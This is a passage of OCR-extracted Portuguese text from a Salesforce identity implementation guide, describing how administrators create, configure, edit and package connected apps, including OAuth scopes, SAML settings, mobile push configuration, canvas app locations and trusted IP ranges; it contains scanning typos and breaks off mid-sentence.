Para criar, atualizar ou excluir: “Personalizar aplicativo” E

“Modificar todos os dados” OU “Gerenciar
aplicativos conectados”
Para atualizar todos os campos, com “Personalizar aplicativo”
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de
Servicos:

Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar todos
permissdes e Afributos de SAML do provedor  os dados”
de servicos:

“Fazer download de pacotes do
AppExchange”

Para desinstalar:
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EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar
e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Aplicativos conectados
podem ser criados em:
Edicdes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes

Um aplicativo conectado integra um aplicativo ao Salesforce usando APIs. Aplicativos conectados usam os protocolos padrao SAML e
OAuth para autenticar, fornecer login Unico e fornecer tokens para uso com as APIs do Salesforce. Além dos recursos padrao do OAuth,
0s aplicativos conectados permitem que os administradores configurem diferentes politicas de seguranca e tenham controle explicito

sobre quem pode usar os aplicativos correspondentes.
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Um desenvolvedor ou administrador define um aplicativo conectado para o Salesforce fornecendo as informagdes a seguir.
e Nome, descricao, logotipo e informagdes de contato

e Um URL em que o Salesforce possa localizar o aplicativo para autorizacdo ou identificacdo

e (O protocolo de autorizacao: OAuth, SAML ou ambos

e Faixas opcionais de IP em que o aplicativo conectado pode estar em execucao

e Informacdes opcionais sobre politicas moéveis que o aplicativo conectado pode aplicar

No caso de aplicativos conectados que usam provedores de servico de OAuth, defina os escopos do OAuth e o URL de retorno para o
aplicativo conectado. Em resposta, o Salesforce fornece uma chave de consumidor de OAuth e um segredo de consumidor para autorizar
o aplicativo conectado.

No caso de aplicativos conectados que usam provedores de servicos de SAML, defina a ID de entidade, o URL do ACS (servigo do
consumidor de declaragdo), Tipo de assunto, Formato do ID de nome e emissor (devem estar disponiveis no provedor de servigos) para
autorizar o aplicativo conectado.

H4 dois modos de implementacéo:

e QO aplicativo é criado e usado na mesma organizacao. Esse é um caso de uso tipico para departamentos de Tl, por exemplo.

e O aplicativo é criado em uma organizacdo e instalado em outras organizacoes. E assim que uma entidade com varias organizacoes
ou um ISV usa aplicativos conectados.

Os administradores podem instalar o aplicativo conectado em sua organizacao, ativar a autenticacao do SAML e usar perfis, conjuntos

de permissdes e restrices de intervalo de IP para controlar quais usudrios podem acessar o aplicativo. Eles podem configurar o aplicativo

conectado para ser exposto como um aplicativo de tela para uma integracao mais estreita a Ul do Salesforce. Os administradores também

podem desinstalar o aplicativo conectado e instalar uma verséo mais recente quando um desenvolvedor atualiza o aplicativo remoto e

informa aos administradores que ha uma nova verséo disponivel.

@ Nota: Em uma organizagéo do Group Edition, ndo é possivel gerenciar o acesso de um usudrio individual usando perfis. Entretanto,
é possivel definir politicas ao editar as configuracdes de um aplicativo conectado do OAuth em uma organizagdo do Group Edition
para controlar o acesso de todos 0s usuarios ao aplicativo conectado.

Além disso, os pacotes de aplicativos conectados gerenciados pelo Salesforce, como os aplicativos do Salesforce1 para download,
nao podem ser desinstalados. Eles sao atualizados automaticamente quando a préxima sessdo do usudrio é atualizada.

Aplicativos conectados sé podem ser adicionados a pacotes gerenciados. Ndo ha suporte para Aplicativos conectados em pacotes ndo
gerenciados.

CONSULTE TAMBEM:
Criando um Aplicativo conectado
Editar, empacotar ou excluir um aplicativo conectado

https://nal.salesforce.com/help/pdfs/en/salesforce_identity_implementation_guide.pdf


https://na1.salesforce.com/help/pdfs/en/salesforce_identity_implementation_guide.pdf
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Criando um Aplicativo conectado

PERMISSOES DO USUARIO

Para ler: “Personalizar aplicativo”

Para criar, atualizar ou excluir: “Personalizar aplicativo” E

“Modificar todos os dados” OU “Gerenciar
aplicativos conectados”
Para atualizar todos os campos, com “Personalizar aplicativo”
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de
Servicos:

Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar todos
permissodes e Atributos de SAML do provedor os dados”
de servicos:

“Fazer download de pacotes do
AppExchange”

Para desinstalar:

Para criar um aplicativo conectado:

1. Em Configuracao, insira Aplicativos nacaixa Busca rapida e selecione Aplicativos.

2. Nasecao Aplicativos conectados, clique em Novo.

As informacbes inseridas para criar um aplicativo conectado estdo divididas nas seguintes partes:

e Informacdes basicas

e APl (Ativar as Configuracdes do OAuth)

e (Configuracdes de aplicativo da Web

e Manipulador de aplicativo conectado personalizado
e (Configuracées de aplicativo moével

e Configuracées de aplicativo de telas
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Aplicativos conectados
podem ser criados em:
Edicbes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes

Vocé pode criar um aplicativo conectado sem especificar qualquer autorizacao, tela ou configuracao de dispositivo mével. Esse tipo de
aplicativo conectado se comporta como um “favorito” para o URL especificado, que aparece no Iniciador de aplicativos do usuario e no
menu suspenso do aplicativo. Basta inserir informacdes bésicas e informarum URL inicial nas Configuracdes do aplicativo da

Web. Se o destino exigir autenticacao, o servico que hospeda o URL de destino devera solicitar que os usudrios fornecam credenciais de

login ao navegarem até esse URL.

Quando vocé terminar de inserir as informacdes, clique em Salvar para salvar seu novo aplicativo. Agora vocé pode publicar seu aplicativo,
fazer outras edicdes ou exclui-lo. Se estiver usando OAuth, salvar seu aplicativo Ihe da dois novos valores que o aplicativo usa para se

comunicar com o Salesforce:

® Chave do cliente:Umvalorusado peloconsumidor para se identificar ao Salesforce. Chamadode client id em OAuth

20.

® Segredo do cliente:Umsegredousado peloconsumidorparaestabelecera propriedade da chave do consumidor. Chamado

de client secret em OAuth2.0.

@ Importante: Conforme vocé atualiza os campos de um aplicativo conectado, tenha em mente que as alteragcées em alguns
campos também se aplicam imediatamente a todas as versdes instaladas do aplicativo conectado. Sdo campos independentes
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da versao que ignoram o ciclo de vida de empacotamento ou instalacao. Os usudrios do aplicativo conectado verdo algumas coisas
mudarem, como a descri¢ao. Os campos a seguir tém esse comportamento independente da versao.

e Descricao
e URL de informacdes
e URL daimagem do logotipo

e URL de callback

Informacdes basicas
Especifique as informacoes basicas do seu aplicativo nesta secao, incluindo o nome dele, o logotipo e as informagdes de contato.

1. Digiteo Nome de aplicativo conectado.Esse nome é exibido na lista de aplicativos conectados.

@ Notfa: O nome deve ser exclusivo para os aplicativos conectados atuais na sua organizacao. E possivel reutilizar o nome de
um aplicativo conectado excluido se o aplicativo conectado foi criado usando a versao Spring '14 ou posterior. No é possivel
reutilizar o nome de um aplicativo conectado excluido se o aplicativo conectado foi criado usando uma versao anterior.

2. Digiteo Nome da APT usado ao fazer referéncia ao seu aplicativo a partir de um programa. Ele retorna a uma versao do nome
sem espacos. Apenas letras, nimeros e sublinhados sdo permitidos. Serd necessario editar o nome padrdo se 0 nome original do
aplicativo contiver qualquer outro caractere.

3. Fornecao Email de contato que a Salesforce deve usar para entrar em contato com vocé ou sua equipe de suporte. Esse
endereco ndo sera fornecido aos administradores que instalarem o aplicativo.

4. Fornecao Telefone de contato quea Salesforce deve usar caso precise entrar em contato com vocé. Esse nimero néo
serd fornecido aos administradores que instalarem o aplicativo.

5. Digiteuma URL da imagem de logotipo para exibir seu logotipo na lista de aplicativos conectados e na pagina de
consentimento que os usuarios veem ao autenticar. O URL deve usar HTTPS. A imagem do logotipo ndo pode ter mais de 125 pixels
de altura ou 200 pixels de largura e deve estar no formato de arquivo GIF, JPG ou PNG, com um tamanho méaximo de 100 KB. O
logotipo padrdo é uma nuvem. Ha vdrias formas de adicionar um logotipo personalizado.

e Vocé pode carregar a sua propria imagem de logotipo clicando em Carregar imagem de logotipo. Selecione uma imagem
do sistema de arquivos local que preencha os requisitos de tamanho do logotipo. Quando o carregamento é bem-sucedido, o
URL do logotipo aparece no campo URL da imagem do logotipo.(Caso contrdrio, certifique-se de que o logotipo
preencha os requisitos de tamanho.

e Vocé pode selecionar um logotipo dentre as amostras fornecidas clicando em Escolher um de nossos logotipos de amostra.
Os logotipos dos aplicativos da Salesforce, dos aplicativos de terceiros e dos organismos de padronizagdo estdo entre os disponiveis.
Clique no logotipo desejado e, em sequida, copie e cole o URL exibido no campo URL da imagem do logotipo.

e Vocé pode usar um logotipo hospedado publicamente em servidores do Salesforce carregando uma imagem que preenche os
requisitos de tamanho de arquivo (125 pixels de altura ou 200 pixels de altura, no méximo, no formato GIF, JPG ou PNG com um
tamanho méximo de 100 KB) como um documento, usando a guia Documentos. Em sequida, exiba a imagem para obter o URL
einsirao URL no campo URL da imagem do logotipo.

6. Insiraum URL de icone para exibir um logotipo na pagina de aprovacao do OAuth que 0s usuarios veem quando usam o
aplicativo pela primeira vez. O logotipo deve ter 16 pixels de altura e largura, com um plano de fundo branco. Logotipos de amostra
também estao disponiveis para fcones.

E possivel selecionar um fcone entre as amostras fornecidas clicando em Escolha um dos logotipos de exemplo. Clique no icone
desejado e, em sequida, copie e cole o URL exibido no campo URL do icone.
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7. Se houver uma pagina da Web com mais informacao sobre seu aplicativo, forneca uma URL de informacdes.
8. Digiteuma Descrigédo para serexibida na lista de aplicativos conectados.

Antes de Winter ‘14,3 URL de inicio ea URL do inicio mével eram definidas nessa secdo. Esses campos agora se
encontram em Configuracées de aplicativo da Web e Configuracées de aplicativo mével, abaixo.

API (Ativar as Configuracdes do OAuth)

Essa secao controla como seu aplicativo se comunica com o Salesforce. Selecione Ativar configurac¢des OAuth paradefinir
as configuracdes de autenticaco.

1. Digitea URL de callback (ponto final) que o Salesforce chama no seu aplicativo durante o OAuth. Trata-se do
redirect uri noOAuth.Dependendo do fluxode OAuth usado, normalmente esse é o URL para a qual o navegador do usudrio
é redirecionado depois de uma autenticacao bem-sucedida. Ja que esse URL é usado para que alguns fluxos de OAuth passem um
token de acesso, ele deve usar HTTP seguro (HTTPS) ou um esquema de URI personalizado. Se vocé inserir vérios URLs de retorno,
no tempo de execucao, o Salesforce comparard o valor de URL de retorno especificado pelo aplicativo aos valores em URL de
retorno. Ele deve corresponder a um dos valores para passar na validacdo.

2. Seestiver usando o fluxo de OAuth JWT, selecione Usar assinaturas digitais.Seoaplicativousarum certificado, clique
em Escolher arquivo e selecione o arquivo de certificado.

3. Adicione todos os escopos de OAuth suportadosem Escopos OAuth selecionados.Essesescoposreferem-se as permissoes
dadas pelo usuério que executa o aplicativo conectado e s&o seguidos pelos seus nomes de chave de seguranca do OAuth entre
parénteses:

Acesse e gerencie o feed do Chatter (chatter_api)
Permite acesso somente aos recursos da API REST do Chatter.

Acesse e gerencie os dados (api)
Permite 0 acesso a conta do usudrio conectado usando APIs, como a API REST e a APl em massa. Esse valor também inclui a
chatter api,que permite 0 acesso aos recursos da APl REST do Chatter.

Acesse as informacgdes basicas (id, perfil, email, endereco, telefone)
Permite acesso ao servico de URL de identidade.

Acessar permissoes personalizadas (custom_permissions)
Permite 0 acesso as permissdes personalizadas em uma organizagao associada ao aplicativo conectado e mostra se o usuario
atual esta com cada permissao ativada ou nao.

Permite acesso ao identificador exclusivo (openid)
Permite o acesso ao identificador exclusivo do usuario conectado para aplicativos OpenlD Connect.

Acesso total (full)
Permite o acesso a todos os dados disponiveis para o usuério logado e engloba todos os outros escopos. full nado retorna
um token de atualizagao. Vocé deve solicitar explicitamente o escopo refresh token paraobter uma chave de atualizagao.

Faca solicitagbes em seu nome a qualquer momento (refresh_token, offline_access)
Permite que um token de atualizacao seja retornado caso seja elegivel para receber um. Isso permite a interacao do aplicativo
com os dados do usudrio enquanto o usudrio estd offline. O escopo refresh token ésindbnimode offline access.

Forneca acesso aos aplicativos personalizados (visualforce)
Permite acesso as paginas do Visualforce.

Forneca acesso aos dados via Internet (web)
Permite a capacidadede usaro access_token naWeb. Tambémincluio visualforce,que permite 0acesso aspaginas
do Visualforce.
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Se sua organizagdo selecionou a opcdo Nenhuma aprovacdo do usudrio necessaria para usuadrios nesta
organizac&o em seu acesso remoto antes da versao Spring ‘12, os usuarios da mesma organizagéo em que o aplicativo foi criado
ainda tém aprovacao automatica para o aplicativo. A caixa de selecao de somente leitura Nenhuma aprovacdo do usuario
necessaria para usuadrios nesta organizacdao éselecionadapara mostraressacondicao.Paraaplicativos conectados,
o procedimento recomendado depois de criar um aplicativo é os administradores o instalarem e, em seguida, configurarem Usuéarios
autorizados cOmo Usuarios aprovados pelo administrador.Seaopcdo de acesso remoto ndo foi marcada
originalmente, a caixa de selecdo ndo serd exibida.

Configuragoes de aplicativo da Web

Digite uma URL de inicio paraque seu aplicativo direcione os usudrios para um local especifico depois da autenticacéo. Se a
URL de inicio ndo forfornecida, os usuarios serdo direcionados para a pagina de inicio padrdo do aplicativo apds a concluséo da
autenticacéo. Se o aplicativo conectado criado for um aplicativo de tela, ndo serd preciso inserir um valor para esse campo. O campo
URL do aplicativo de tela contém o URL queé chamado para o aplicativo conectado.

Se seu aplicativo conectado usar um provedor de servico SAML, selecione Ativar SAML.Digite ID da entidade, URL do
ACS, Tipo de assunto, Formato do ID do nome e Emissor,disponiveis por meio do seu provedor de servico. Selecione
Verificar as assinaturas de solicitacé&o casoo provedorde servicostenhadadoavocé um certificado de seguranca.
Navegue no sistema do certificado. Isso sera necessario somente se vocé planejar iniciar o login no Salesforce pelo provedor de servicos,
e o provedor de servicos assinar suas préprias solicitacoes de SAML.

@ Importante: Sevocé fizer upload de um certificado, todas as solicitagdes de SAML deverdo estar assinadas. Se nenhum certificado
for carregado, todas as solicitacdes de SAML serdo aceitas.

Vocé também pode selecionar Criptografar a resposta de SAML para carregar um certificado e selecionar um método
de criptografia para criptografar a declaragéo. Os valores vélidos do algoritmo de criptografia séo AES-128 (chave de 128 bits).
AES-256 (chave de 256 bits) e DES triplo (Algoritmo triplo de criptografia de dados).

Manipulador do Connected App personalizado

Personalize o comportamento de um aplicativo conectado com o Apex. Crie uma classe que estenda a classe ConnectedAppPlugin
do Apex e associe-a a um aplicativo conectado. A classe pode oferecer suporte a novos protocolos de autenticacdo ou responder a
atributos de usuério de modo a beneficiar um processo de negdcio.

O plug-in é executado em nome de uma conta de usuario. No campo Executar como, selecione o usuario para o plug-in. Se o
usudrio néo estiver autorizado para o aplicativo conectado, use 0 método authorize para fazerisso. Para obter mais informacoes,
consulte a classe ConnectedAppPlugin no Force.com Apex Code Developer's Guide.

Configuragoes de aplicativo movel

1. Insirao URL do inicio mével para direcionar os usuarios a um local especifico quando o aplicativo é acessado a partir de
um dispositivo mével. Se ndo forinseridaa URL do inicio mével,0susudriosserdoenviadosa URL de inicio definida
nas Configuracdes de aplicativo da Web. Se o aplicativo conectado que vocé esté criando for um aplicativo de tela, n&o sera preciso
inserir um valor para esse campo. O campo URL do aplicativo de tela contém o URL que é chamado para o aplicativo conectado.

2. Selecione Protecdo por PIN,se o aplicativo permitir protecdo por PIN. Isso d& ao administrador a opcao de definir o tempo
limite da sessao e o comprimento do PIN para aplicativos méveis ap6s a instalagdo do aplicativo conectado. A protecao por PIN é
automaticamente suportada pelo SDK do Salesforce Mobile (https://developer.salesforce.com/page/Mobile_SDK). Vocé também
pode implementd-la manualmente lendo o objeto mobile policy a partirdo URL de identidade do usuério.

3. Especifiguea Plataforma do aplicativo escolhendoiOS ou Android na lista suspensa.


https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_namespace_Auth.htm
https://developer.salesforce.com/page/Mobile_SDK
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4. Especifique os fatores de forma de dispositivo compativeis com o aplicativo mével na lista suspensa Restringir ao tipo
de dispositivo.Osvalores possiveis sao Telefone, Tablet ou Minitablet. Se esse aplicativo for universal (ou seja, suporta todos
os fatores de forma), nao escolha nenhum valor.

5. Insirmaondmeroda Versdo do aplicativo doaplicativo movel.
6. Insiraa Versido minima do sistema operacional necessdria para o aplicativo.

7. Selecione Aplicativo privado para confirmar que esse aplicativo é somente para distribuicdo interna (ndo publica). Isso é
necessario porque a Apple ndo permite a distribuicao de aplicativos mdveis publicos fora de sua loja de aplicativos.

8. Seoaplicativomovel for privado, especifique olocal doarquivo Bindrio do aplicativo mével.Trata-se de um aplicativo
IPA para iOS e um arquivo APK para Android.

9. Somente para aplicativos iOS:
a. Especifique o local do Icone de aplicativo. Trata-se do icone exibido durante o download e a instalacdo do aplicativo em um
dispositivo iOS.
b. Especifique o identificador de conjunto iOS.

@ Nota: No casodoiOS 7 e posteriores, é necessario especificar o mesmo identificador de conjunto utilizado para desenvolver
o aplicativo no XCode. Do contrario, o usuario final vera dois icones de aplicativo na instalacao.

10. Se o aplicativo mével conectado é publico e vocé ndo carregou o arquivo bindrio para o Salesforce, insirao0 URL binario do
aplicativo aqui.

@ Nota: Sevocé removeraintegragdo mével a partir de uma nova versao de um aplicativo conectado existente, a integragao mével
nao estara mais incluidaem nenhuma versdo do aplicativo conectado. Por exemplo, imagine a publicacdo de um pacote contendo
aversdo 1.0 do seu aplicativo conectado com integragcdo movel. Em seguida, remova a integracdo mével do aplicativo, embale-o
novamente e publique-o como verséo 1.1. Se um cliente instalar o pacote anterior com a verséo 1.0 nesse ponto, a versao 1.0 do
aplicativo conectado ndo conterad a integracao maovel.

0O aplicativo conectado pode receber notificagdes por push se:

e QO aplicativo foi criado com o SDK do Salesforce Mobile.

e QO aplicativo implementa o protocolo de notificacdo por push do SDK do Mobile para a sua plataforma.
e Vocé é um desenvolvedor registrado no provedor de plataformas méveis (Apple ou Google).

e Oseu aplicativo é registrado no Apple Push Notification Service (APNS) para notificagdes por push do iOS ou no Google Cloud
Messaging (GCM) para notificacdes por push do Android.

e Vocé implementou manipuladores do Apex para notificacdes por push.

@ Nota: Um aplicativo mével habilitado para push pode oferecer suporte para apenas uma plataforma movel. Se vocé fornecer
versdes em Android e iOS do seu aplicativo mével e precisa permitir notificagbes por push nas duas versoes, crie um aplicativo
conectado para cada plataforma.

Para saber como preencher esses requisitos, consulte o Guia de implementagdo de notificacbes por push do Salesforce mével.
Para configurar as notificagdes por push para o APNS (i0S):

1. Selecione Mensagens por push ativadas.

Em Plataforma de push suportada, selecione Apple.

Selecione o ambiente Apple valido para o certificado de notificacdes por push do APNS.

> W N

Em Certificado, selecione o arquivo de certificado .p12 recebido APNS quando registrou o seu aplicativo para notificacdes por
push (por exemplo, appkey.pl2).

5. Insira a senha do arquivo de certificado .p12.
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Para configurar as notificacdes por push para GCM (Android):
1. Selecione Mensagens por push ativadas.
2. Em Plataforma de push suportada, selecione Android GCM.
3. Em Chave para aplicativos de servidor (chave de API), insira a chave obtida durante o registro do desenvolvedor no Google.
Para alterar a plataforma mdvel que vocé configurou para as notificagbes por push:
1. Cancele a selecao de Mensagens por push ativadas.
Salve o aplicativo conectado e, em seguida, clique em Editar.

Altere a Plataforma do aplicativo e os valores associados em Configuragdes moveis para refletir a nova plataforma.

> W N

Reconfigure as notificacdes por push para a nova plataforma.

Configuracoes de aplicativo de telas
Dois tipos de aplicativos de tela estao disponiveis:

e Aplicativos de tela que sao instalados pelo administrador da organizacao.

e Aplicativos pessoais de tela que sao instalados pelos usudrios finais nas organizacdes. Os usuarios acessam um aplicativo pessoal de
tela na guia Chatter e séo solicitados a permitir que o aplicativo se conecte aos seus dados do Salesforce. Essas etapas incluem,
opcionalmente, a transformagdo de um aplicativo em um aplicativo pessoal de tela. Para obter mais informagdes, consulte "Aplicativos
pessoais de tela" no Guia do desenvolvedor de tela do Force.com.

1. Se o seu aplicativo conectado for exposto como aplicativo de tela, selecione Tela do Force.com.

2. Digitea URL do aplicativo da tela no aplicativo de terceiro. O usuario é direcionado a esse URL quando clica no link
para o seu aplicativo de tela.

3. Selecione um Método de acesso.lsso especificacomo o aplicativo de tela inicia o fluxo de autenticacdo OAuth.

® Solicitacdo assinada (POST):A autenticacdo OAuth é usada, mas quando o administrador instala o aplicativo de
tela, ele permite acesso para usuarios implicitamente. Entdo, o usuario nao sera solicitado a permitir que o terceiro acesse suas
informacoes de usudrio. Quando vocé usa esse método de acesso, a autenticagao é publicada diretamente no URL do aplicativo
de tela.

Se seu aplicativo de tela usa autenticagdo por solicitacdo assinada, certifique-se de ndo selecionar Fazer solicitacdées
em seu nome a qualgquer momento em Escopos OAuth selecionados.

e OAuth Webflow (GET):A autenticacdo OAuth é usada, e o usudrio recebe a solicitacdo de permitir que o aplicativo de
terceiro acesse suas informagdes. Quando vocé usa esse método de acesso, 0 aplicativo de tela deve iniciar o fluxo de autenticagéo
de OAuth.

4. Sevocé estiver usando o login unico (SSO) no SAML para autenticar o aplicativo de tela, selecione 0 campo Método de inicio
do SAML. Esse campo é ativado se vocé seleciona Ativar SAML na secao Configuracbes do aplicativo da Web. As opgoes
para esse campo Sao:

¢ Iniciado pelo provedor de identidade — o Salesforce faz a solicitacdo inicial para iniciar o fluxo de SSO.

¢ Iniciado pelo provedor de servicos — o aplicativo de tela inicia o fluxo de SSO depois que o aplicativo é chamado.

5. Em Locais, selecione o local onde o aplicativo de tela aparece para os usudrios.

e Feed do Chatter — O aplicativo de tela aparece no feed. Se essa opcao € selecionada, € necessario criar um item de feed
CanvasPost e garantir que o usuario atual tenha acesso ao aplicativo de tela.

e Guia do Chatter — O aplicativo de tela é exibido na lista de navegacdo de aplicativos, na guia do Chatter. Se essa op¢ao for
selecionada, o aplicativo de tela serd exibido 1a automaticamente.
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Console — o aplicativo de tela aparece no rodapé ou nas barras laterais de um console do Salesforce. Se essa opcao for
selecionada, sera preciso escolher o local onde o aplicativo de tela aparece no console adicionando-o como componente de
console personalizado.

Layouts e cartées méveis — o aplicativo de tela pode aparecer em um layout de pagina ou cartdo movel. Se essa opcao for
selecionada, vocé escolhe onde o aplicativo de tela aparece, adicionando-o ao layout de pagina.

Navegac¢do mével — O aplicativo de tela pode ser acessado a partir do menu de navegacdo no Salesforce1.

@ Nota: Os aplicativos de tela ndo aparecem no menu de navegacao do Salesforce1 em dispositivos méveis Android. Para
ver aplicativos de tela no menu de navegagéo no Android, faca login no aplicativo de navegador mével Salesforcel.

CTl aberta— O aplicativo de tela aparece na ferramenta de controle de chamadas. Se essa opcao for selecionada, serd preciso
especificar o aplicativo de tela no arquivo de definicdo de seu centro de atendimento para que ele apareca.

Editor — O aplicativo de tela aparece no editor. Se essa opcao é selecionada, também é necessario criar uma acao rapida
personalizada de tela e adiciond-la ao layout global ou a um layout de objeto.

Pagina do Visualforce — O aplicativo de tela pode ser exibido em uma pagina do Visualforce. Se vocé adicionar um componente
<apex:canvasApp> paraexpor um aplicativo de tela em uma pégina do Visualforce, certifique-se de selecionar esse local
para o aplicativo de tela. Caso contrdrio, vocé recebera um erro.

Selecione Criar acdes automaticamente afimde criar umaacdo global para seu aplicativo de tela. Para criar uma acao
global para o aplicativo de tela, selecione Editor em Local.Caso contrario, ndo serdo criadas acdes globais. Também é possivel
criar a acado manualmente mais tarde.

Se vocé implementou sua propria classe Apex Canvas.CanvasLifecycleHandler, forneca o seunomeem Classe do ciclo de
vida.Ofornecimento de uma classe do Apex CanvasLifecycleHandler permite personalizar as informacées de contexto e adicionar
comportamento personalizado ao aplicativo de tela.

Para permitir que seu aplicativo seja instalado pelos usuarios finais, marque a caixa de selecdo Ativar como aplicativo
pessoal de tela.AqguiaChatteréounico Local quetem suporte para aplicativos pessoais de tela. Para obter detalhes
sobre aplicativos pessoais de tela, consulte “Aplicativos pessoais de tela” no Force.com Canvas Developer’s Guide (Guia do Desenvolvedor
do Force.com Canvas).

@ Nota: Caso vocé ndo veja a configuragdo Ativar como aplicativo pessoal de tela,significaqueo

administrador da organizacdo de destino do aplicativo ndo ativou os aplicativos pessoais de tela. Para obter detalhes sobre
esse requisito, consulte “Ativacao de aplicativos pessoais de tela em uma organizagao” no Force.com Canvas Developer’s Guide
(Guia do Desenvolvedor do Force.com Canvas).

CONSULTE TAMBEM:

Editar, empacotar ou excluir um aplicativo conectado
Viséo geral de aplicativos conectados
URLs de identidade
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Editar, empacotar ou excluir um aplicativo conectado

PERMISSOES DO USUARIO EDICOES

Para ler: “Personalizar aplicativo” Disponivel em: Salesforce
p iar. atudli lui " i licativo” E Classic e Lightning
ara criar, atualizar ou excluir: ersonalizar aplicativo Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados” Aplicativos conectados

podem ser criados em:
Edicbes Group,

Para atualizar todos os campos, com "Personalizar aplicativo” ] .
excecdo de Perfis, Conjuntos de permissdes Professional, Enterprise,
e Atributos de SAML do provedor de Performance, Unlimited e
servicos: Developer
Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar fodos ssgcecznhvszsr ic:;}glc;?jizsem.
permissodes e Atributos de SAML do provedor os dados” . '
de servicos: todas as edicoes
Para desinstalar: “Fazer download de pacotes do

AppExchange”

Ap6s criar um aplicativo conectado, vocé pode edité-lo, empacota-lo ou exclui-lo.

@ Nota: O nome deve ser exclusivo para os aplicativos conectados atuais na sua organizacdo. E possivel reutilizar o nome de um
aplicativo conectado excluido se o aplicativo conectado foi criado usando a verséo Spring 14 ou posterior. Ndo é possivel reutilizar
o nome de um aplicativo conectado excluido se o aplicativo conectado foi criado usando uma versao anterior.

Editando um Aplicativo conectado

E possfvel atualizar um aplicativo conectado a qualquer momento. Em Configuraco, insira Aplicativos nacaixa Busca rapida
e selecione Aplicativos. Selecione 0 nome de um aplicativo conectado na lista e clique em Editar. Salve suas alteracées clicando em
Salvar.

Apbs a criacéo do aplicativo conectado, é possivel voltar a pagina de detalhes para especificar os intervalos de IP permitidos.

Os intervalos de IP funcionam com aplicativos conectados ativados por OAuth, ndo aplicativos conectados ativados por SAML, e
especificam enderecos IP validos para o aplicativo conectado.

Use as etapas a seguir para configurar o intervalo de IP permitido.
1. Em Configuracao, insira Aplicativos nacaixa Busca rapida e selecione Aplicativos.
Selecione o0 nome de um aplicativo conectado na lista.

Na secéo do fluxo Intervalo de IP confidvel para o servidor da Web do OAuth, cligue em Novo.

> W N

Insira um endereco IP vélido no campo Endereco IP de inicio e um endereco IP superior no campo Endereco IP de término.

Pode-se inserir varias faixas descontinuas, clicando em Novo para inserir cada faixa.

Vocé pode permitir que usudrios especificos acessem o aplicativo conectado de fora do intervalo de IP confidvel para aplicativos conectados
ativados por OAuth. Por exemplo, para permitir o acesso de alguns usudrios em transito, configure o aplicativo conectado para Relaxar
restricdes de IP com um segundo fator. Quandoum usudriotentar utilizaroaplicativo conectadofora desseintervalo,
ele recebe uma solicitagdo para fornecer um segundo fator de autenticagdo, como um cédigo de token. Depois de uma autenticacao
com um segundo fator, o usuario pode utilizar o aplicativo conectado de fora do Intervalo de IP confidvel.
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1. Em Configuracao, insira Aplicativos conectados hacaixa Busca rapida e selecione a opcao de gerenciamento de
aplicativos conectados.

2. C(lique em Editar ao lado do nome do aplicativo conectado para exibir os valores referentes ao aplicativo.
3. Nocampo Relaxagdo de IP, selecione Reduzir restricdes de IP nalistasuspensa.
@ Notfa: Se aopcao de Configuragées de sessdo Impor intervalos IP para fazer login em toda

solicitacéo estiverativada, ela afetard o comportamento de relaxamento de IP. Para obter mais informacdes, consulte
Relaxamento de IP de aplicativo conectado e imposicéo de IP continuo na pagina 175.

Depois de criar o aplicativo conectado, vocé pode voltar para a pagina de detalhes e especificar atributos personalizados. Os atributos
personalizados especificam metadados SAML ou parametros de OAuth que sao lidos em tempo de execucéo do OAuth.

1. Em Configuracdo, insira Aplicativos nacaixa Busca rapida e selecione Aplicativos.
2. Selecione o nome de um aplicativo conectado na lista.
3. Nasecao Atributos personalizados, clique em Novo.

Cada atributo personalizado deve ter uma chave exclusiva e usar campos disponiveis no menu Inserir campo. Por exemplo, atribua
um nome de chave, como pais, einsiraocampo $Organization.Country. Ao usar o SAML, os atributos sao enviados
como instrugoes de atributos de SAML. Ao usar o OAuth, os atributos estao disponiveis como um objeto custom _attributes
no URL de Identidade do usuario.

Os seguintes atributos personalizados estdo disponiveis para aplicativos conectados do Salesforce1.

Tabela 1: Atributos personalizados dos aplicativos conectados do Salesforce1 para Android

Chave de atributo Valor do atributo Descricdo
CALL_HISTORY e DISABLED e Se for definido como DISABLED,
e ADMIN DEFINED removera o registro de chamadas do

menu de navegacao.
e SIMPLE

e Se for definido como
ADMIN DEFINED, ativard o registro
de chamadas nativo do Android.

e Sefordefinido como SIMPLE, ativara
o registro de chamadas do Aura.

Tabela 2: Atributos personalizados de aplicativo conectado do Salesforce1 para iOS

Chave de atributo Valor do atributo Descricdio
USE_ALTERNATE_USER_PROFILE o ppyp e Sefor definido como TRUE, ativard o
o FALSE infcio do perfil do Aura.

e Sefordefinido como FALSE, ativard o
inicio do perfil de iOS nativo.

SHOW_OPEN_IN e FALSE e Sefordefinido como FALSE,impedira

que os usudrios compartilhem um
arquivo usando um link para o arquivo
ou abrindo um arquivo em um
aplicativo de terceiros.
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Ao definir atributos personalizados, coloque os valores de atributo entre aspas.

@ Importante: Conforme vocé atualiza os campos de um aplicativo conectado, tenha em mente que as alteracées em alguns
campos também se aplicam imediatamente a todas as versdes instaladas do aplicativo conectado. Sdo campos independentes
da versao que ignoram o ciclo de vida de empacotamento ou instalacao. Os usudrios do aplicativo conectado verao algumas coisas
mudarem, como a descri¢ao. Os campos a seguir tém esse comportamento independente da versao.

e Descricao
e URL de informacdes
e URL daimagem do logotipo

e URL de callback

Empacotando um aplicativo conectado

Apos a criacao de um aplicativo conectado ou de uma nova versao de um aplicativo existente, embale-o para disponibiliza-lo aos usuarios
em outras organizacoes do Salesforce. Adicione um aplicativo conectado a um pacote gerenciado da mesma forma e juntamente com
outros componentes, como objetos personalizados, paginas do Visualforce ou classes do Apex. Isso facilita a distribuicdo de um aplicativo
conectado para outras organizacdes do Salesforce. Como componente que pode ser empacotado, os aplicativos conectados também
